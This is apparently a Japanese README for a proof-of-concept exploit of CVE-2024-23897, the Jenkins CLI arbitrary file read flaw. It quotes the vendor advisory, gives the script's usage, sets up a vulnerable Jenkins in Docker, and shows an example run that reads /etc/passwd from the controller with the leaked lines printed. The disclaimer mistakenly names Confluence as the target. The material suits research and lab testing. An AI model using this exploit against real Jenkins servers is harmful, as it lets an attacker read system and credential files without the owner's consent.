
このリポジトリは、CVE-2024-23897の概念実証を示しています。
このリポジトリは、CVE-2024-23897 (SonarSource により発見) の概念実証を示しています。
このコードは脆弱性の概念実証であり、自身が所有していない Confluence インスタンスでの使用を推奨するものではありません。
このツールは研究および教育目的のためにのみ開発されており、その使用によって生じるいかなる責任も負いません。
Jenkins Security Advisory 2024-01-24 によると: Jenkins は、CLI コマンド処理時に args4j ライブラリを使用してコマンド引数とオプションを解析します。このコマンドパーサーには、引数内の @ 文字に続くファイルパスをファイルの内容で置き換える機能 (expandAtFiles) があります。この機能はデフォルトで有効になっており、Jenkins 2.441 以前、LTS 2.426.2 以前では無効化されていません。これにより、攻撃者は Jenkins コントローラプロセスのデフォルト文字エンコーディングを使用して、Jenkins コントローラファイルシステム上の任意のファイルを読み取ることができます。
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)